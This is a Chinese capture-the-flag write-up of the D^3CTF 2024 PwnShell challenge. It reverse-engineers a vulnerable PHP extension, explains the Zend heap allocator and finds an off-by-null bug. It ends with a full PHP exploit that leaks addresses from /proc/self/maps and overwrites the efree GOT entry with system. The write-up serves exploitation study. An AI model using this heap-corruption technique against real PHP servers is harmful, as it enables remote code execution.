PHP pwn 学习 (2)

news2024/9/22 7:31:20

文章目录

  • A. 逆向分析
    • A.1 基本数据获取
    • A.2 函数逆向
      • zif_addHacker
      • zif_removeHacker
      • zif_displayHacker
      • zif_editHacker
    • A.3 PHP 内存分配
  • A.4 漏洞挖掘
  • B. 漏洞利用
    • B.1 PHP调试
    • B.2 exp

上一篇blog中,我们学习了一些PHP extension for C的基本内容,下面结合一道题来进行分析,同时学习一些题目中会涉及的新内容。

题目示例:2024 D^3CTF PwnShell

A. 逆向分析

该题是一道典型的PHP pwn,题目中给出了一个简单的PHP文件上传脚本,我们可以上传PHP文件然后远程执行,调用有漏洞的C库,最后通过反弹shell进行RCE。

这里我们使用的逆向分析引擎为Ghidra。

A.1 基本数据获取

在上一篇blog中,我们提到,一个PHP扩展必然存在一个_zend_module_entry结构,用于保存该扩展的基本信息。我们可以在Ghidra中定义下面的结构,其中函数指针以void*代替。随后,可以在0x104080找到vuln_module_entry,从数据大小和变量名来看应该就是我们要找的_zend_module_entry。进行数据类型转换后如下所示。

struct _zend_module_entry {
	unsigned short size;
	unsigned int zend_api;
	unsigned char zend_debug;
	unsigned char zts;
	const struct _zend_ini_entry *ini_entry;
	const struct _zend_module_dep *deps;
	const char *name;
	const struct _zend_function_entry *functions;
	zend_result (*module_startup_func)(INIT_FUNC_ARGS);
	zend_result (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
	zend_result (*request_startup_func)(INIT_FUNC_ARGS);
	zend_result (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
	void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
	const char *version;
	size_t globals_size;
#ifdef ZTS
	ts_rsrc_id* globals_id_ptr;
#else
	void* globals_ptr;
#endif
	void (*globals_ctor)(void *global);
	void (*globals_dtor)(void *global);
	zend_result (*post_deactivate_func)(void);
	int module_started;
	unsigned char type;
	void *handle;
	int module_number;
	const char *build_id;
};

由此可以获取一些基本信息,包括扩展的名字vuln、版本0.1.0等。

随后,我们定义_zend_function_entry结构,找到vuln_module_entry并设置其数据类型,如下图所示,可以看到,扩展一共定义了4个函数可供调用。

随后,定义表示参数类型的数据结构,得到这些函数的参数信息,如下图所示。

可以获取这些函数的原型:

void zif_addHacker(undef name, undef fill);
void zif_removeHacker(undef idx);
string zif_displayHacker(undef idx);
void zif_editHacker(undef idx, undef content);

A.2 函数逆向

下面,我们分析一下库中定义的函数。

zif_addHacker

反汇编结果如下图所示。

在这里,C语言解析参数的方式与上一篇blog中描述的不同。这里是使用zend_parse_parameters进行解析。这种解析方式更加直观。

zend_parse_parameters可传入不固定数量的参数,一般用于一次性解析所有参数:

int zend_parse_parameters(int num_args, char *type_spec, ...);

第一个参数为参数数量,第二个参数为参数解析格式。根据PHP源代码文档,type_spec参数的格式如下:

对于一个参数,可以使用一个字符序列表示该参数的解析规则。在后面的变长参数中,需要顺序传入参数保存值的引用值。

PHP使用一个字母表示参数应该被解析为什么类型。具体的对应关系如下:

a  - array (zval*)
A  - array or object (zval*)
b  - boolean (zend_bool)
C  - class (zend_class_entry*)
d  - double (double)
f  - function or array containing php method call info (returned as
     zend_fcall_info and zend_fcall_info_cache)
h  - array (returned as HashTable*)
H  - array or HASH_OF(object) (returned as HashTable*)
l  - long (zend_long)
n  - long or double (zval*)
o  - object of any type (zval*)
O  - object of specific type given by class entry (zval*, zend_class_entry)
p  - valid path (string without null bytes in the middle) and its length (char*, size_t)
P  - valid path (string without null bytes in the middle) as zend_string (zend_string*)
r  - resource (zval*)
s  - string (with possible null bytes) and its length (char*, size_t)
S  - string (with possible null bytes) as zend_string (zend_string*)
z  - the actual zval (zval*)
*  - variable arguments list (0 or more)
+  - variable arguments list (1 or more)

还可以使用下面3个符号:

|  - 放在上面字母的前面表示参数的解析规则为可选参数,其应该被初始化为默认值,以防止PHP代码没有传入该参数。
/  - 对其所跟的参数调用 SEPARATE_ZVAL()。 
!  - 所跟的参数可以为指定类型或 NULL。如果传入 NULL 且输出类型为指针,则输出的 C 语言指针为 NULL。对于类型 'b'、'l'、'd',一个额外的 zend_bool* 类型需要在对应的 bool*、zend_long*、double* 后被传入。如果传入 PHP NULL 则一个非0值将会被写到 zend_bool 中。

具体的示例参见PHP文档,已保存到网站本地。

在定义了必要的数据结构之后,可以完成对该函数的反汇编,重定义数据类型与命名后,结果如下所示。

下面是推断出的本地定义的数据结构:

struct hacker_entry {
    char* name;
    size_t name_len;
    char[] fill;
};

struct chunklist_entry {
    struct hacker_entry* hacker;
    int islast;
};

这里没有定义zend_string,偏移0x10表示字符串长度,0x18表示字符串指针。

需要注意的是,结构体hacker_entry的最后一个字段的数组长度未知,又因为没有对fill参数的长度进行判断,因此可能存在堆内存溢出漏洞。我们需要分析内存分配函数_emalloc以明确溢出的具体信息。

查阅PHP源代码发现,_emalloc是PHP自己实现的一个内存分配函数,即PHP默认不使用外部库(如glibc)进行内存分配。当然在C语言编写的扩展中使用glibc也是完全允许的。这部分代码分析在我们将4个扩展内函数逆向完成后再进行。

zif_removeHacker

zif_displayHacker

这个函数只返回了之前传入的Hacker名,而不会返回fill。

zif_editHacker

这里只是修改了Hacker的名字,没有改变fill。

由上面的分析可知,本题的漏洞点应该就在fill字段的处理上。我们需要理解PHP的内存分配系统原理,以尝试通过这个溢出实现get shell。

A.3 PHP 内存分配

_emalloc函数是PHP自定义的内存分配系统的分配入口点:

// /Zend/zend_alloc.c, line 2534

ZEND_API void* ZEND_FASTCALL _emalloc(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
#if ZEND_MM_CUSTOM
	if (UNEXPECTED(AG(mm_heap)->use_custom_heap)) {
		return _malloc_custom(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
	}
#endif
	return zend_mm_alloc_heap(AG(mm_heap), size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}

这里有一个默认为真的宏定义,它将分配过程拆分为两个分支。首先来看默认分支,即_malloc_custom

// /Zend/zend_alloc.c, line 2414

static ZEND_COLD void* ZEND_FASTCALL _malloc_custom(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
	if (ZEND_DEBUG && AG(mm_heap)->use_custom_heap == ZEND_MM_CUSTOM_HEAP_DEBUG) {
		return AG(mm_heap)->custom_heap.debug._malloc(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
	} else {
		return AG(mm_heap)->custom_heap.std._malloc(size);
	}
}

// /Zend/zend_alloc.c, line 2356

typedef struct _zend_alloc_globals {
    zend_mm_heap *mm_heap;
} zend_alloc_globals;

#ifdef ZTS
static int alloc_globals_id;
static size_t alloc_globals_offset;
# define AG(v) ZEND_TSRMG_FAST(alloc_globals_offset, zend_alloc_globals *, v)
#else
# define AG(v) (alloc_globals.v)
static zend_alloc_globals alloc_globals;
#endif

由此可以找到PHP堆的全局定义结构如下:

struct _zend_mm_heap {
#if ZEND_MM_CUSTOM
	int                use_custom_heap;
#endif
#if ZEND_MM_STORAGE
	zend_mm_storage   *storage;
#endif
#if ZEND_MM_STAT
	size_t             size;                    /* current memory usage */
	size_t             peak;                    /* peak memory usage */
#endif
	zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
#if ZEND_MM_STAT || ZEND_MM_LIMIT
	size_t             real_size;               /* current size of allocated pages */
#endif
#if ZEND_MM_STAT
	size_t             real_peak;               /* peak size of allocated pages */
#endif
#if ZEND_MM_LIMIT
	size_t             limit;                   /* memory limit */
	int                overflow;                /* memory overflow flag */
#endif

	zend_mm_huge_list *huge_list;               /* list of huge allocated blocks */

	zend_mm_chunk     *main_chunk;
	zend_mm_chunk     *cached_chunks;			/* list of unused chunks */
	int                chunks_count;			/* number of allocated chunks */
	int                peak_chunks_count;		/* peak number of allocated chunks for current request */
	int                cached_chunks_count;		/* number of cached chunks */
	double             avg_chunks_count;		/* average number of chunks allocated per request */
	int                last_chunks_delete_boundary; /* number of chunks after last deletion */
	int                last_chunks_delete_count;    /* number of deletion over the last boundary */
#if ZEND_MM_CUSTOM
	union {
		struct {
			void      *(*_malloc)(size_t);
			void       (*_free)(void*);
			void      *(*_realloc)(void*, size_t);
		} std;
		struct {
			void      *(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
			void       (*_free)(void*  ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
			void      *(*_realloc)(void*, size_t  ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
		} debug;
	} custom_heap;
	HashTable *tracked_allocs;
#endif
};

可以看到,自定义堆分配实际上就是自定义堆分配、释放与重新分配的函数。在全局结构构造函数alloc_globals_ctor (/Zend/zend_alloc.c, line 2798)中,实际上是将函数指针处初始化为__zend_malloc__zend_malloc直接调用libc的malloc函数。因此自定义内存分配时默认使用libc库的内存分配函数。

下面再看到另一个分支。

// /Zend/zend_alloc.c, line 1311

static zend_always_inline void *zend_mm_alloc_heap(zend_mm_heap *heap, size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
	void *ptr;
#if ZEND_DEBUG
	...
#endif
	if (EXPECTED(size <= ZEND_MM_MAX_SMALL_SIZE)) {
		ptr = zend_mm_alloc_small(heap, ZEND_MM_SMALL_SIZE_TO_BIN(size) ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
#if ZEND_DEBUG
    ...
#endif
		return ptr;
	} else if (EXPECTED(size <= ZEND_MM_MAX_LARGE_SIZE)) {
		ptr = zend_mm_alloc_large(heap, size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
#if ZEND_DEBUG
    ...
#endif
		return ptr;
	} else {
#if ZEND_DEBUG
	...
#endif
		return zend_mm_alloc_huge(heap, size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
	}
}

可以看到,这里根据分配需求的大小将调用不同的3个函数,其中ZEND_MM_MAX_SMALL_SIZE为3072,ZEND_MM_MAX_LARGE_SIZE为2MB-4KB。对于题目而言,要分配的大小基本都小于3072。需要注意的是,在函数调用中使用了ZEND_MM_SMALL_SIZE_TO_BIN宏定义,可以理解为:PHP内部使用30个链表保存以释放的小chunk,每个链表中保存一个大小范围内的chunk,这与musl libc有类似之处。

// /Zend/zend_alloc.c, line 1157

static zend_always_inline int zend_mm_small_size_to_bin(size_t size)
{
#if 0
	int n;
                            /*0,  1,  2,  3,  4,  5,  6,  7,  8,  9  10, 11, 12*/
	static const int f1[] = { 3,  3,  3,  3,  3,  3,  3,  4,  5,  6,  7,  8,  9};
	static const int f2[] = { 0,  0,  0,  0,  0,  0,  0,  4,  8, 12, 16, 20, 24};

	if (UNEXPECTED(size <= 2)) return 0;
	n = zend_mm_small_size_to_bit(size - 1);
	return ((size-1) >> f1[n]) + f2[n];
#else
	unsigned int t1, t2;

	if (size <= 64) {
		/* we need to support size == 0 ... */
		return (size - !!size) >> 3;
	} else {
		t1 = size - 1;
		t2 = zend_mm_small_size_to_bit(t1) - 3;
		t1 = t1 >> t2;
		t2 = t2 - 3;
		t2 = t2 << 2;
		return (int)(t1 + t2);
	}
#endif
}

#define ZEND_MM_SMALL_SIZE_TO_BIN(size)  zend_mm_small_size_to_bin(size)

// /Zend/zend_alloc.c, line 1125

/* higher set bit number (0->N/A, 1->1, 2->2, 4->3, 8->4, 127->7, 128->8 etc) */
static zend_always_inline int zend_mm_small_size_to_bit(int size)
    {
#if (defined(__GNUC__) || __has_builtin(__builtin_clz))  && defined(PHP_HAVE_BUILTIN_CLZ)
    return (__builtin_clz(size) ^ 0x1f) + 1;
#elif defined(_WIN32)
    unsigned long index;

    if (!BitScanReverse(&index, (unsigned long)size)) {
    /* undefined behavior */
    return 64;
    }

    return (((31 - (int)index) ^ 0x1f) + 1);
#else
    int n = 16;
    if (size <= 0x00ff) {n -= 8; size = size << 8;}
    if (size <= 0x0fff) {n -= 4; size = size << 4;}
    if (size <= 0x3fff) {n -= 2; size = size << 2;}
    if (size <= 0x7fff) {n -= 1;}
    return n;
#endif
}

这一段主要是将用户请求的大小转换为对应的freelist索引值。

// /Zend/zend_alloc.c, line 324

#define _BIN_DATA_SIZE(num, size, elements, pages, x, y) size,
static const uint32_t bin_data_size[] = {
	ZEND_MM_BINS_INFO(_BIN_DATA_SIZE, x, y)
};

// /Zend/zend_alloc_sizes.h, line 31

/* num, size, count, pages */
#define ZEND_MM_BINS_INFO(_, x, y) \
	_( 0,    8,  512, 1, x, y) \
	_( 1,   16,  256, 1, x, y) \
	_( 2,   24,  170, 1, x, y) \
	_( 3,   32,  128, 1, x, y) \
	_( 4,   40,  102, 1, x, y) \
	_( 5,   48,   85, 1, x, y) \
	_( 6,   56,   73, 1, x, y) \
	_( 7,   64,   64, 1, x, y) \
	_( 8,   80,   51, 1, x, y) \
	_( 9,   96,   42, 1, x, y) \
	_(10,  112,   36, 1, x, y) \
	_(11,  128,   32, 1, x, y) \
	_(12,  160,   25, 1, x, y) \
	_(13,  192,   21, 1, x, y) \
	_(14,  224,   18, 1, x, y) \
	_(15,  256,   16, 1, x, y) \
	_(16,  320,   64, 5, x, y) \
	_(17,  384,   32, 3, x, y) \
	_(18,  448,    9, 1, x, y) \
	_(19,  512,    8, 1, x, y) \
	_(20,  640,   32, 5, x, y) \
	_(21,  768,   16, 3, x, y) \
	_(22,  896,    9, 2, x, y) \
	_(23, 1024,    8, 2, x, y) \
	_(24, 1280,   16, 5, x, y) \
	_(25, 1536,    8, 3, x, y) \
	_(26, 1792,   16, 7, x, y) \
	_(27, 2048,    8, 4, x, y) \
	_(28, 2560,    8, 5, x, y) \
	_(29, 3072,    4, 3, x, y)

从上面的定义可以获取30个freelist对应的chunk大小。可以看到,PHP在分配这部分内存时是以页为最小单位整个分配的,如对于大小为8的chunk,在初次分配时,应该是分配一整页4KB,随后将这一页拆分为512个8B大小的chunk来使用。

下面重点关注一下zend_mm_alloc_small

// /Zend/zend_alloc.c, line 1243

static zend_always_inline void *zend_mm_alloc_small(zend_mm_heap *heap, int bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
    #if ZEND_MM_STAT
    do {
        size_t size = heap->size + bin_data_size[bin_num];
        size_t peak = MAX(heap->peak, size);
        heap->size = size;
        heap->peak = peak;
    } while (0);
    #endif
    
    if (EXPECTED(heap->free_slot[bin_num] != NULL)) {
        zend_mm_free_slot *p = heap->free_slot[bin_num];
        heap->free_slot[bin_num] = p->next_free_slot;
        return p;
    } else {
        return zend_mm_alloc_small_slow(heap, bin_num ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
    }
}

忽略宏定义中的内容,看下面的部分。首先会检查对应的freelist链表是否存在已经释放的chunk,如果有,则使用链表的第一个chunk作为返回值。否则会调用zend_mm_alloc_small_slow另外分配内存。

// /Zend/zend_alloc.c, line 1187

static zend_never_inline void *zend_mm_alloc_small_slow(zend_mm_heap *heap, uint32_t bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
	zend_mm_chunk *chunk;
	int page_num;
	zend_mm_bin *bin;
	zend_mm_free_slot *p, *end;

#if ZEND_DEBUG
	...
#else
	bin = (zend_mm_bin*)zend_mm_alloc_pages(heap, bin_pages[bin_num] ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
#endif
	if (UNEXPECTED(bin == NULL)) {
		/* insufficient memory */
		return NULL;
	}

	chunk = (zend_mm_chunk*)ZEND_MM_ALIGNED_BASE(bin, ZEND_MM_CHUNK_SIZE);
	page_num = ZEND_MM_ALIGNED_OFFSET(bin, ZEND_MM_CHUNK_SIZE) / ZEND_MM_PAGE_SIZE;
	chunk->map[page_num] = ZEND_MM_SRUN(bin_num);
	if (bin_pages[bin_num] > 1) {
		uint32_t i = 1;

		do {
			chunk->map[page_num+i] = ZEND_MM_NRUN(bin_num, i);
			i++;
		} while (i < bin_pages[bin_num]);
	}

	/* create a linked list of elements from 1 to last */
	end = (zend_mm_free_slot*)((char*)bin + (bin_data_size[bin_num] * (bin_elements[bin_num] - 1)));
	heap->free_slot[bin_num] = p = (zend_mm_free_slot*)((char*)bin + bin_data_size[bin_num]);
	do {
		p->next_free_slot = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
#if ZEND_DEBUG
		...
#endif
		p = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
	} while (p != end);

	/* terminate list using NULL */
	p->next_free_slot = NULL;
#if ZEND_DEBUG
    ...
#endif

	/* return first element */
	return bin;
}

在这个函数中,我们可以清晰地看到,zend_mm_alloc_pages之后,PHP构造了包含所有新分配的chunk的链表并放在freelist链表头部。即freelist链表不仅包含被释放的chunk,也有未被分配的chunk。最后返回其中的第一个chunk。

而对于chunk的释放,则非常简单,直接将该chunk放到对应freelist的头部即可。在分配与释放过程中,没有进行任何的安全检查,因此一旦出现堆相关漏洞,常常可以大做文章。

A.4 漏洞挖掘

从上面的分析来看,内存分配与释放均需要一个参数,但Ghidra没有识别出来,将参数添加后发现,先前发现的可能的溢出漏洞实际上并不存在,hacker_entry的最后一个字段实际上是一个不定长数组,在实际分配内存时会根据传入的字符串长度确定chunk大小。

那么,这道题的漏洞点又在何处?需要注意zif_displayHackerzif_addHacker函数,在memcpy之后,有一个在字符串尾部添加\0的操作,这实际上是off by null。

由于freed chunk将链表指针放在chunk首部,chunk与chunk之间没有任何分隔,因此off by null有机会修改链表指针的值。将该指针的值修改为一个chunk A内部的地址,这样可以通过chunk A的重写完全覆盖chunk A后面的chunk B的链表指针。本题的so文件没有使用FULL RELRO安全保护,因此可以完成覆盖GOT表的操作,后面的内容就不用多说了。

B. 漏洞利用

明确漏洞后,接下来就是考虑如何利用该漏洞。本题中我们可以完成PHP文件上传,因此直接将exp PHP文件上传后通过网址执行即可。

不过在php.ini中,题目定义了很多禁用的函数,保存在disable_function中。在实际编写PHP脚本时,需要注意不要使用这里提到的函数。

在本题中,我们可以通过读取/proc/self/maps的方法获取PHP进程的libc基地址以及堆内存的基地址。但我们并不能直接通过fopen函数打开文件,这主要是防止我们直接去读取flag文件。不过,PHP功能强大,我们还是能够找到读取/proc/self/maps的方法。flag文件在普通权限下无法读取,但/proc/self/maps可以读取。

zend_mm_alloc_small_slow中可以看到,初次分配的单向链表是低地址的chunk在头部,高地址的chunk在尾部。因此我们可以首先分配几个相同大小的chunk,随后按照从高到低的顺序释放。

需要注意的是,PHP不允许运行在其他版本下构建的C扩展,在API确认可用的情况下,可以通过修改module_entry中的zend_apibuild_id中的版本信息使其在不同PHP版本下运行。

在解题过程中,通过gdb调试能够加快进度,此类PHP pwn的调试方法参考资料完成。下面演示一下调试流程。

B.1 PHP调试

在docker中安装gdbserver后,运行

gdbserver :1234 php -S 0:8080 index.php

使gdbserver监听本地1234端口,PHP监听本地8080端口。访问8080端口即相当于执行php index.php。随后多次使用n命令。遇到的第一个call指令调用后,将加载PHP运行过程中需要的所有动态链接库(不含C扩展),进入_start后会进入_libc_start_main,在一条call rax指令执行后进入监听状态,同时会显示加载C扩展情况,如下面两图所示。

在vuln.so中打下断点后,访问8080端口,即可让gdb断在想要的地方。

下面是PHP中的_emalloc函数:

这其中内联了zend_mm_alloc_small函数,一直跟进理解代码语义,我们能够找到堆的freelist结构:

可以看到,这里的freelist中低地址的chunk位于链表的前面。因此有下面的漏洞利用思路,即想办法构造一个地址最后1字节为’\x00’的fake pointer指向free.got,随后在同一个freelist中通过off by null将这个fake pointer链入这个freelist中。如下图所示。

这里解释一下使用0x70 chunk freelist的原因。在整个漏洞利用过程中,首先需要一个能够写入0x…00这种地址的chunk A,随后需要一个chunk B完成off by null,破坏后面的chunk C的指针。原先chunk C的指针指向chunk D,且chunk D地址除了最低字节外其他字节应该与chunk A写入的地址相同。在0x70 chunk freelist中,可以利用0x2a0、0x310、0x380、0x3f0这4个chunk,即0x2a0写入0x300为free.got,0x310完成off by null,将0x380处由0x3f0改为0x300,这样就可以完成指针伪造,并最终能够成功分配到首地址为0x300的chunk。

B.2 exp

<?php

$libc_base = 0;
$vuln_so_base = 0;
$efree_got = 0x4038;
$system_off = 0x45e90;
$map_file = "/proc/self/map";

function get_so_base($buffer)
{
    global $libc_base;
    global $vuln_so_base;
    $libc_line_regex = "/([0-9a-f]+)-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2\.31\.so/";
    $vuln_so_line_regex =
        "/([0-9a-f]+)-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-[0-9]+\/vuln\.so/";
    if (preg_match_all($libc_line_regex, $buffer, $matches))
        $libc_base = hexdec($matches[1][0]);
    else
        echo "Failed to get libc base";
    if (preg_match_all($vuln_so_line_regex, $buffer, $matches))
        $vuln_so_base = hexdec($matches[1][0]);
    else
        echo "Failed to get vuln.so base";
}

function p64($value): string
{
    $ret = "";
    for ($i = 0; $i < 8; $i++) {
        echo $ret & 0xFF . "<br>";
        $ret .= pack('C', $value & 0xFF);
        $value >>= 8;
    }
    return $ret;
}

// open a buffer and read the content of /proc/self/maps
ob_start();
include "/proc/self/maps";
$buffer = ob_get_contents();
ob_end_flush();
get_so_base($buffer);
$efree_got += $vuln_so_base;

echo "libc base address: " . dechex($libc_base) . "\n<br>";
echo "vuln.so base address: " . dechex($vuln_so_base) . "\n<br>";
echo "_efree.got: " . dechex($efree_got) . "\n<br>";

addHacker(str_repeat("a", 0x40), str_repeat("b", 0x5f));
addHacker("echo \"success\"\x00" . str_repeat("a", 0x70-15), str_repeat("b", 0x5f));
addHacker(str_repeat("a", 0x70), str_repeat("b", 0x5f));
addHacker(str_repeat("a", 0x40), str_repeat("x", 0x50) . p64($efree_got));  // 0x2A0
addHacker(str_repeat("a", 0x40), str_repeat("!", 0x60));                    // 0x310, off by null
addHacker(str_repeat("a", 0x70), str_repeat("x", 0x5f));
addHacker(p64($libc_base + $system_off) . str_repeat("a", 0x67), str_repeat("a", 0x38));
removeHacker(1);

成功利用,效果如下,这里仅显示在本地执行命令的结果。如果无法成功利用,可能是PHP环境问题,根据freelist状态调整冗余chunk的分配数量即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1935503.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

软件著作权申请教程(超详细)(2024新版)软著申请

目录 一、注册账号与实名登记 二、材料准备 三、申请步骤 1.办理身份 2.软件申请信息 3.软件开发信息 4.软件功能与特点 5.填报完成 一、注册账号与实名登记 首先我们需要在官网里面注册一个账号&#xff0c;并且完成实名认证&#xff0c;一般是注册【个人】的身份。中…

STM32智能城市交通管理系统教程

目录 引言环境准备智能城市交通管理系统基础代码实现&#xff1a;实现智能城市交通管理系统 4.1 数据采集模块 4.2 数据处理与控制模块 4.3 通信与网络系统实现 4.4 用户界面与数据可视化应用场景&#xff1a;城市交通管理与优化问题解决方案与优化收尾与总结 1. 引言 智能城…

HTTP协议、Wireshark抓包工具、json解析、天气爬虫

HTTP超文本传输协议 HTTP&#xff08;Hyper Text Transfer Protocol&#xff09;&#xff1a; 全称超文本传输协议&#xff0c;是用于从万维网&#xff08;WWW:World Wide Web &#xff09;服务器传输超文本到本地浏览器的传送协议。 HTTP 协议的重要特点&#xff1a; 一发一收…

vscode+wsl2+anaconda环境的配置与使用

目录 下载anaconda Anaconda使用参考 vscodeubuntuanaconda 先用vscode连接本地ubuntu。 如果没有安装wsl2与ubuntu&#xff0c;可点击下面的链接。 问题&#xff1a;wsl install 无法解析服务器 成功记录&#xff1a; 在vscode终端用ubuntu安装anaconda。 创建pytho…

mybatis 主键的特殊要求

这是一条插入语句: 其目的就是为了将这个role对象插入到数据库, 然后他会根据getGeneratedKeys来自动回填id. 但是, 实际工作往往不是我们想象的那么简单&#xff0c;需要根据一些特殊的关系设置主键id 的值。 假设我们取消表trole 的id自增的规则&#xff0c;我们的要求是:如…

【element plus】el-tooltip限制宽度及自定义背景色

根据官方文档&#xff0c;使用popper-class参数为tooltip添加自定义内容&#xff1b;其中该类名注意不能够加scope标签中&#xff0c;否则无效。 <el-tooltip effect"dark" :popper-class"box-item" :hide-after"100" placement"right&q…

PyTorch 深度学习实践-处理多维特征的输入

视频指路 参考博客笔记 参考笔记二 通过多个线性模型来模拟非线性的空间变换&#xff0c;矩阵计算就是不同维度之间的空间转换 说明&#xff1a;1、乘的权重(w)都一样&#xff0c;加的偏置(b)也一样。b变成矩阵时使用广播机制。神经网络的参数w和b是网络需要学习的&#xff0c…

【Chatgpt大语言模型医学领域中如何应用】

随着人工智能技术 AI 的不断发展和应用&#xff0c;ChatGPT 作为一种强大的自然语言处理技术&#xff0c;无论是 自然语言处理、对话系统、机器翻译、内容生成、图像生成&#xff0c;还是语音识别、计算机视觉等方面&#xff0c;ChatGPT 都有着广泛的应用前景。特别在临床医学领…

Web3D:WebGL为什么在渲染性能上输给了WebGPU。

WebGL已经成为了web3D的标配&#xff0c;市面上有N多基于webGL的3D引擎&#xff0c;WebGPU作为挑战者&#xff0c;在渲染性能上确实改过webGL一头&#xff0c;由于起步较晚&#xff0c;想通过这个优势加持&#xff0c;赶上并超越webGL仍需时日。 贝格前端工场为大家分享一下这…

大数据架构对比记录

Lambda架构 -维护两套项目&#xff0c;开发和维护成本高 -两套链路&#xff0c;数据容易不一致 -数据计算成本大&#xff08;例如原定每小时计算一次&#xff0c;但有额外新需求需要计算两点半-三点半之间数据&#xff0c;则需要重新计算&#xff09; Kappa -过于依赖kafka消…

Fiddler下载安装使用教程(包含移动端抓包)

一、官网下载安装 Download Fiddler Web Debugging Tool for Free by Telerik 1、下载Classic版本&#xff0c;并安装 2、安装完成后展示页面如下 3、点击Tools-options&#xff0c;如图所示勾选&#xff0c;允许抓取https请求 4、点击Actions-Export Root Certificate to D…

Spring如何管理Mapper

目录 一、背景二、猜测三、源码查看步骤1、创建MapperScannerConfigurer.java2、MapperScan注解3、MapperScannerRegistrar执行registerBeanDefinitions方法4、MapperScannerConfigurer执行postProcessBeanDefinitionRegistry方法5、执行doscan6、设置beanClass7、使用jdk生成代…

【自学安全防御】三、企业双机热备和带宽管理的综合实验

实验拓扑&#xff1a; 实验任务&#xff1a; 12&#xff0c;对现有网络进行改造升级&#xff0c;将当个防火墙组网改成双机热备的组网形式&#xff0c;做负载分担模式&#xff0c;游客区和DMZ区走FW3&#xff0c;生产区和办公区的流量走FW1 13&#xff0c;办公区上网用户限制流…

解读「快意」大模型关键技术,揭秘实践中的挑战与创新

导读 2024年6月&#xff0c;GAITC 2024全球人工智能技术大会在杭州举办&#xff0c;在视觉大模型关键技术与应用主题论坛上&#xff0c;快手NLP专家林梓佳向参会者汇报了快手「快意」大模型研发过程中的多个关键技术创新&#xff0c;以及应用落地过程中的经验与挑战。 快手作…

为什么需要加密软件?2024五款电脑文件加密软件推荐

在高度数字化的2024年&#xff0c;数据安全对于个人和企业而言都显得至关重要。加密软件作为保护敏感信息的利器&#xff0c;扮演着不可或缺的角色。从个人隐私数据到企业财务记录、健康信息乃至企业核心机密&#xff0c;加密软件都能有效防止未经授权的访问。 加密软件的重要…

GitHub私有派生仓库(fork仓库) | 派生仓库改为私有

GitHub私有派生仓库 前言解决方案 前言 在GitHub上Fork的派生仓库默认为公有仓库&#xff0c;且无法修改为私有仓库。 若想创建私有的派生仓库&#xff0c;可通过GitHub的导入仓库功能实现&#xff0c;具体步骤请参见下文解决方案。 解决方案 打开GitHub页面&#xff0c;在个…

06.截断文本 选择任何链接 :root 和 html 有什么区别

截断文本 对超过一行的文本进行截断,在末尾添加省略号(…)。 使用 overflow: hidden 防止文本超出其尺寸。使用 white-space: nowrap 防止文本超过一行高度。使用 text-overflow: ellipsis 使得如果文本超出其尺寸,将以省略号结尾。为元素指定固定的 width,以确定何时显示省略号…

One-Class SVM

前提知识&#xff1a;支持向量机&#xff08;SVM&#xff09;-CSDN博客 主要思想 找一个超平面将样本中的正例圈出来&#xff0c;预测就是用这个超平面做决策&#xff0c;在圈内的样本就认为是正样本&#xff0c;圈外的是其他样本&#xff0c;如图1所示&#xff1a; 图1 OSVM…

怎样在 PostgreSQL 中优化对大表的分区裁剪和索引选择?

&#x1f345;关注博主&#x1f397;️ 带你畅游技术世界&#xff0c;不错过每一次成长机会&#xff01;&#x1f4da;领书&#xff1a;PostgreSQL 入门到精通.pdf 文章目录 怎样在 PostgreSQL 中优化对大表的分区裁剪和索引选择一、分区裁剪&#xff1a;精准切割&#xff0c;提…

中科微电子ATGM336H GPS定位模块STM32应用

文章目录 前言1. 中科微电子ATGM336H的使用1.1 ATGM336H引脚说明1.2 数据帧介绍1.3 经纬度介绍1.4 ATGM336H的启动方式 2 数据处理前置C语言知识2.1 strstr函数2.2 memset函数2.3 memcpy函数2.4strtod函数 3. 开始移植3.1 usart初始化程序3.2 串口中断接收函数3.4 数据帧的解析…